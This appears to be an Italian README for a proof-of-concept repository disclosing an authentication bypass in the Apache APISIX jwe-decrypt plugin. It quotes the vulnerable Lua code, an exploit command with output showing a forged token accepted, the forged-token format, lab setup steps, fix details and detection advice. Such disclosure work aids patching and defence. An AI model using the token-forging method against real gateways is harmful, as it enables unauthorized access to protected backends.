
PoC per CVE-2026-49230: Apache APISIX jwe-decrypt bypass dell'autenticazione (mancata convalida del tag AES-GCM, CWE-354, CVSS 9.1)
jwe-decrypt di Apache APISIXProva di concetto per un bypass dell'autenticazione nel plugin jwe-decrypt di Apache APISIX. Il plugin decifra un token JWE e inoltra il suo testo in chiaro al backend, agendo come un gate di autenticazione — ma non convalida mai il tag di autenticazione AES-GCM. Un token che contiene solo un kid consumer valido viene accettato indipendentemente da quanto siano fasulli il suo testo cifrato e il suo tag, quindi un attaccante che conosce una qualsiasi chiave consumer — che viaggia in chiaro nell'intestazione di ogni token legittimo — supera il gate senza conoscere il segreto AES.
| CVE | CVE-2026-49230 |
| Prodotto | Apache APISIX (plugin jwe-decrypt) |
| Versioni affette | 3.8.0 – 3.16.0 |
| Corretta in | 3.17.0 |
| Classe | CWE-354 — Convalida impropria del valore del controllo di integrità |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Autenticazione | Non autenticato (necessita di un kid consumer valido, non il segreto) |
| Pubblicato | 2026-06-19 |
| Stato | CONFERMATO — riprodotto end-to-end su 3.16.0; respinto su 3.17.0 |
apisix/plugins/jwe-decrypt.lua (tag 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt() restituisce nil quando il tag di autenticazione GCM non corrisponde, ma quel valore restituito viene scartato e il chiamante controlla un err inesistente, che è sempre nil. Il controllo di integrità non viene quindi mai applicato: qualsiasi JWE con un kid risolvibile viene autenticato. Il segreto AES — l'unica cosa che un attaccante non dovrebbe avere — non è mai effettivamente necessario.
La correzione nella versione 3.17.0 propaga l'errore (return decrypted, err) e cambia il controllo in if not plaintext then return 400. La stessa correzione rimuove anche l'API pubblica del plugin GET /apisix/plugin/jwe/encrypt per la creazione di token.
Vedi ANALYSIS.md per l'analisi completa a livello di codice.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
Il token falsificato è base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. Solo l'intestazione (con un kid valido) è rilevante; tutto ciò che segue è spazzatura scelta dall'attaccante.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
Questo ambiente non ha un bridge Docker, quindi il laboratorio utilizza --network host (etcd su :2379, piano dati APISIX :9080, admin :9180, backend :8080).
| Richiesta | 3.16.0 (vulnerabile) | 3.17.0 (corretta) |
|---|---|---|
| nessun token | 403 missing JWE token | — |
| token malformato (<5 parti) | 400 JWE token invalid | — |
kid non valido + crittografia spazzatura | 400 invalid kid | — |
kid valido + crittografia spazzatura | 200 upstream reached | 400 failed to decrypt |
Ogni controllo tranne il controllo di integrità GCM viene applicato, e lo stesso token falsificato passa da 200 a 400 attraverso il confine della correzione — il bypass è specificamente la mancata convalida dell'integrità, non una route configurata male. Trascrizione completa in EVIDENCE.txt.
Qualsiasi backend che si fida del gate jwe-decrypt di APISIX per l'autenticazione può essere raggiunto da un attaccante non autenticato che possiede un singolo kid consumer valido. Poiché un kid valido è esposto in chiaro nell'intestazione JWE di ogni token emesso legittimamente, un token catturato o trapelato — o una chiave consumer indovinabile — è sufficiente per falsificare un numero illimitato di token accettati e bypassare il confine di autenticazione del gateway.
jwe-decrypt come unico controllo di autenticazione; aggiungi un plugin di autenticazione indipendente (es. key-auth/jwt-auth) o un controllo upstream che convalidi l'identità inoltrata.Le richieste che si autenticano tramite jwe-decrypt ma inoltrano un'intestazione di identità vuota/assente al backend (la decifratura ha prodotto silenziosamente nil) sono un forte segnale. Tieni d'occhio le richieste Authorization: Bearer <jwe> che superano il gateway mentre il backend non riceve alcuna intestazione inoltrata utilizzabile.
Ricerca e PoC di Caio Fabrício (@BiiTts).
MIT — vedi LICENSE.